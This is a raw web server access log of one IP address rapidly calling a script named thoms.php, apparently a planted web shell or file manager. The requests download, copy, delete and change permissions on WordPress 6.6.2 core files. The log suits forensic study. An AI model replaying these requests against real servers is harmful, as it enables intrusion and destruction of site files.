45.135.193.11 - - [11/Sep/2026:23:32:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22206 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2FText&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:20 -0400] "GET /thoms.php?dl=class-wp-customize-nav-menus.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-nav-menus.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-walker-nav-menu.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:21 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-date-query.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-date-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:21 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=class-wp-customize-nav-menus.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:21 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22220 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-date-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:21 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-recovery-mode-key-service.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-recovery-mode-key-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:21 -0400] "GET /thoms.php?chmod=ms-blogs.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=ms-blogs.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:21 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-recovery-mode-key-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:21 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=ms-blogs.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:21 -0400] "GET /thoms.php?chmod=nav-menu.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=nav-menu.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:21 -0400] "GET /thoms.php?del=class-wp-locale-switcher.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-locale-switcher.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:21 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22285 "https://163.245.207.76:443/thoms.php?chmod=nav-menu.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:21 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22215 "https://163.245.207.76:443/thoms.php?del=class-wp-locale-switcher.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:21 -0400] "GET /thoms.php?chmod=feed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=feed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:21 -0400] "GET /thoms.php?dl=ms-network.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=ms-network.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:21 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22291 "https://163.245.207.76:443/thoms.php?chmod=feed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:21 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22181 "https://163.245.207.76:443/thoms.php?dl=ms-network.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:21 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fquery.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fquery.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:21 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=registration-functions.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=registration-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:21 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fquery.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:22 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-customize-widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-customize-widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:21 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22069 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=registration-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:22 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-oembed-controller.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-oembed-controller.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:22 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22215 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-customize-widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:22 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22221 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-oembed-controller.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:22 -0400] "GET /thoms.php?del=class-wp-recovery-mode-key-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-key-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:22 -0400] "GET /thoms.php?dl=embed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=embed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:22 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-key-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:22 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22284 "https://163.245.207.76:443/thoms.php?dl=embed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:22 -0400] "GET /thoms.php?dl=revision.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=revision.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:22 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-http-ixr-client.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-http-ixr-client.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:22 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=revision.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:22 -0400] "GET /thoms.php?dl=class-wp-theme-json-schema.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json-schema.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:22 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-http-ixr-client.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:22 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=class-wp-theme-json-schema.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:22 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=fonts.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=fonts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:22 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=fonts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:22 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fupdate.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fupdate.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:22 -0400] "GET /thoms.php?dl=author-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=author-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:22 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fupdate.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:22 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-styles-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-styles-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:23 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=author-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:23 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22206 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-styles-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:23 -0400] "GET /thoms.php?del=functions.wp-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=functions.wp-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:23 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=functions.wp-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:23 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ffunctions.wp-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ffunctions.wp-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:23 -0400] "GET /thoms.php?dl=taxonomy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=taxonomy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:23 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22199 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ffunctions.wp-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:23 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?dl=taxonomy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:23 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=widgets.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:23 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fadmin-bar.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fadmin-bar.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:23 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:23 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-metadata-lazyloader.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-metadata-lazyloader.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:23 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fadmin-bar.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:23 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fregistration-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fregistration-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:23 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-metadata-lazyloader.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:23 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22239 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fregistration-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:23 -0400] "GET /thoms.php?del=category.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=category.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:23 -0400] "GET /thoms.php?chmod=class-wp-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:23 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=category.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?chmod=class-wp-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:24 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-matchesmapregex.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-matchesmapregex.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:24 -0400] "GET /thoms.php?chmod=l10n&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=l10n&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-matchesmapregex.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?chmod=l10n&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
